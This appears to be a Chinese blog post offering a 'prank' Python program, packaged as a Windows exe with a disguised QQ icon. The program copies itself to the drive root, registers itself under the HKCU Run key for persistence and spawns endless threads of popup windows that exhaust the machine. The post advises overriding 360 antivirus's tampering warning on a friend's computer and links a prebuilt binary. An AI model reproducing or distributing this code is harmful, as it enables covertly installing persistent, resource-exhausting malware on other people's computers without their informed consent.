Python无限弹窗,开机启动,打包为exe程序
Python无限弹窗,打包为exe程序开机自启动,娱乐小程序。
import tkinter as tk import random,threading,win32api,win32con, shutil,os,sys def Mymovefile(): #移动程序到当前分区下命名为 ARE_YOU_OKAY.exe。朋友问删了为什么还会执行。当然是因为有备份,玩够了就在分区下面删除这个吧。 if not os.path.exists(os.path.abspath(sys.argv[0])[0] + ‘:\\ARE_YOU_OKAY.exe‘): #看当前分区下有没有 shutil.copyfile(os.path.abspath(sys.argv[0]), os.path.abspath(sys.argv[0])[0] + ‘:\\ARE_YOU_OKAY.exe‘) # 移动文件 class AutoRun(): #设置为开机自启程序######《《《《第一次360会提示篡改程序,在朋友的电脑上帮他确定一下。以后开机都会执行》》》》 def __init__(self): name = ‘lalalulala‘ # 要添加的项值名称 path = os.path.abspath(sys.argv[0])[0] + ‘:\\ARE_YOU_OKAY.exe‘ # 要添加的exe路径 KeyName = ‘Software\\Microsoft\\Windows\\CurrentVersion\\Run‘ key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, KeyName, 0, win32con.KEY_ALL_ACCESS) win32api.RegSetValueEx(key, name, 0, win32con.REG_SZ, path) win32api.RegCloseKey(key) def Play(): #展示的效果 window = tk.Tk() width = window.winfo_screenwidth() height = window.winfo_screenheight() a = random.randrange(20, width) b = random.randrange(20, height) window.title(‘给你看个小病毒‘) window.geometry("400x100" + "+" + str(a) + "+" + str(b)) tk.Label(window, text=‘你吃饭了吗?‘, # 标签的文字 bg=‘Red‘, # 背景颜色 font=(‘楷体‘, 17), # 字体和字体大小 width=466, height=4 # 标签长宽 ).pack() # 固定窗口位置 window.mainloop() threads = [] if __name__=="__main__": Mymovefile() AutoRun() for i in range(1000): #依电脑性能调值大;千万不要 while True: t = threading.Thread(target=Play) t.start()
程序打包
1,Python 脚本打包成可以直接双击运行的 .exe 文件
win+R 输入powershell,
pip3 install pyinstaller
pip install pypiwin32
pyinstaller -F -i qq.ico -w curl.py #-F指定exe程序,-i icon图标,-w,无控制台
本人编辑好的exe程序
https://raw.githubusercontent.com/xiaoxuenice/xiaoxue/master/Play.exe
可用图标转换器更换一下图标
相关推荐
YENCSDN 2020-11-17
lsjweiyi 2020-11-17
houmenghu 2020-11-17
Erick 2020-11-17
HeyShHeyou 2020-11-17
以梦为马不负韶华 2020-10-20
lhtzbj 2020-11-17
夜斗不是神 2020-11-17
pythonjw 2020-11-17
dingwun 2020-11-16
lhxxhl 2020-11-16
坚持是一种品质 2020-11-16
染血白衣 2020-11-16
huavhuahua 2020-11-20
meylovezn 2020-11-20
逍遥友 2020-11-20
weiiron 2020-11-16